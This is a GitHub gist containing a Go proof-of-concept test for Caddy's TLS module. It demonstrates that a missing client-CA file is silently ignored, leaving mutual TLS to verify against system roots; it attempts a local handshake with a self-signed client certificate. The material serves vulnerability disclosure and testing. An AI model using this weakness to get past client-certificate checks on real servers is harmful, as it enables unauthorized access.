Created
February 9, 2026 07:39
-
-
Save moscowchill/9566c79c76c0b64c57f8bd0716f97c48 to your computer and use it in GitHub Desktop.
PoC test: mTLS fail-open due to swallowed errors in Caddy connpolicy.go
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package caddytls | |
| import ( | |
| "crypto/ecdsa" | |
| "crypto/elliptic" | |
| "crypto/rand" | |
| "crypto/tls" | |
| "crypto/x509" | |
| "crypto/x509/pkix" | |
| "encoding/pem" | |
| "math/big" | |
| "net" | |
| "testing" | |
| "time" | |
| "github.com/caddyserver/caddy/v2" | |
| ) | |
| // TestSwallowedErrorMTLSFailOpen demonstrates that a nonexistent CA file | |
| // path causes provision() to silently succeed (swallowed error), and the | |
| // resulting TLS config either has a nil CA pool or widens trust improperly. | |
| func TestSwallowedErrorMTLSFailOpen(t *testing.T) { | |
| // --- Step 1: provision with a nonexistent CA file --- | |
| ca := ClientAuthentication{ | |
| TrustedCACertPEMFiles: []string{"/nonexistent/path/to/ca.pem"}, | |
| } | |
| err := ca.provision(caddy.Context{}) | |
| if err != nil { | |
| t.Fatalf("expected provision() to return nil (swallowed error), got: %v", err) | |
| } | |
| // The CA pool should have been populated, but the error was swallowed | |
| if ca.ca != nil { | |
| t.Fatal("expected ca to be nil due to swallowed error, but it was set") | |
| } | |
| // --- Step 2: configure a tls.Config and check the result --- | |
| cfg := &tls.Config{} | |
| err = ca.ConfigureTLSConfig(cfg) | |
| if err != nil { | |
| t.Fatalf("ConfigureTLSConfig failed: %v", err) | |
| } | |
| // Active() should return true because TrustedCACertPEMFiles is non-empty | |
| if !ca.Active() { | |
| t.Fatal("expected Active() to be true") | |
| } | |
| // The TLS config should require client certs... | |
| if cfg.ClientAuth != tls.RequireAndVerifyClientCert { | |
| t.Fatalf("expected RequireAndVerifyClientCert, got %v", cfg.ClientAuth) | |
| } | |
| // ...but the CA pool is nil, meaning Go falls back to system roots | |
| if cfg.ClientCAs != nil { | |
| t.Fatal("expected ClientCAs to be nil (the bug), but it was set") | |
| } | |
| t.Log("BUG CONFIRMED: provision() swallowed the error from a nonexistent CA file.") | |
| t.Log("tls.Config has RequireAndVerifyClientCert but ClientCAs is nil.") | |
| t.Log("Go's crypto/tls will verify client certs against system roots instead of the intended CA.") | |
| // --- Step 3: prove the TLS handshake accepts a self-signed client cert --- | |
| // Generate a throwaway self-signed CA + leaf cert | |
| serverCert, serverKey := generateSelfSignedCert(t, "localhost", true) | |
| clientCert, clientKey := generateSelfSignedCert(t, "test-client", false) | |
| serverTLSCert, err := tls.X509KeyPair(serverCert, serverKey) | |
| if err != nil { | |
| t.Fatalf("failed to load server key pair: %v", err) | |
| } | |
| // Use the cfg we got from ConfigureTLSConfig (RequireAndVerifyClientCert + nil ClientCAs) | |
| // but add our server cert so the listener works | |
| cfg.Certificates = []tls.Certificate{serverTLSCert} | |
| ln, err := tls.Listen("tcp", "127.0.0.1:0", cfg) | |
| if err != nil { | |
| t.Fatalf("failed to listen: %v", err) | |
| } | |
| defer ln.Close() | |
| // Server goroutine: accept one connection | |
| serverErr := make(chan error, 1) | |
| go func() { | |
| conn, err := ln.Accept() | |
| if err != nil { | |
| serverErr <- err | |
| return | |
| } | |
| defer conn.Close() | |
| // Force the handshake | |
| tlsConn := conn.(*tls.Conn) | |
| serverErr <- tlsConn.Handshake() | |
| }() | |
| // Client: connect with the self-signed client cert | |
| clientTLSCert, err := tls.X509KeyPair(clientCert, clientKey) | |
| if err != nil { | |
| t.Fatalf("failed to load client key pair: %v", err) | |
| } | |
| clientCfg := &tls.Config{ | |
| Certificates: []tls.Certificate{clientTLSCert}, | |
| InsecureSkipVerify: true, // we don't care about verifying the server for this test | |
| } | |
| conn, err := tls.Dial("tcp", ln.Addr().String(), clientCfg) | |
| if err != nil { | |
| // If the handshake fails, the bug might not manifest on systems | |
| // where the self-signed cert is NOT in system roots. That's actually | |
| // the "less bad" outcome. The bug is still real: on a system where | |
| // any system-trusted CA signs a client cert, it would be accepted. | |
| t.Logf("Client handshake failed (expected on systems without matching system CA): %v", err) | |
| t.Log("The bug is still confirmed: provision() swallowed the error and ClientCAs is nil.") | |
| t.Log("On systems where the client cert chains to a system root, this handshake would succeed.") | |
| return | |
| } | |
| defer conn.Close() | |
| // If we get here, the handshake SUCCEEDED with a random self-signed cert. | |
| // This means the system root pool accepted it (or no verification happened). | |
| t.Log("CRITICAL: TLS handshake succeeded with a self-signed client cert!") | |
| t.Log("The server accepted a client certificate NOT signed by the intended CA.") | |
| // Check the server side too | |
| if sErr := <-serverErr; sErr != nil { | |
| t.Logf("Server-side handshake error: %v", sErr) | |
| } | |
| } | |
| // generateSelfSignedCert creates a self-signed certificate for testing. | |
| func generateSelfSignedCert(t *testing.T, cn string, isServer bool) (certPEM, keyPEM []byte) { | |
| t.Helper() | |
| key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) | |
| if err != nil { | |
| t.Fatalf("failed to generate key: %v", err) | |
| } | |
| template := &x509.Certificate{ | |
| SerialNumber: big.NewInt(1), | |
| Subject: pkix.Name{CommonName: cn}, | |
| NotBefore: time.Now().Add(-1 * time.Hour), | |
| NotAfter: time.Now().Add(1 * time.Hour), | |
| KeyUsage: x509.KeyUsageDigitalSignature, | |
| } | |
| if isServer { | |
| template.ExtKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth} | |
| template.IPAddresses = []net.IP{net.ParseIP("127.0.0.1")} | |
| template.DNSNames = []string{"localhost"} | |
| } else { | |
| template.ExtKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth} | |
| } | |
| certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key) | |
| if err != nil { | |
| t.Fatalf("failed to create certificate: %v", err) | |
| } | |
| keyDER, err := x509.MarshalECPrivateKey(key) | |
| if err != nil { | |
| t.Fatalf("failed to marshal key: %v", err) | |
| } | |
| certPEM = pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) | |
| keyPEM = pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER}) | |
| return | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment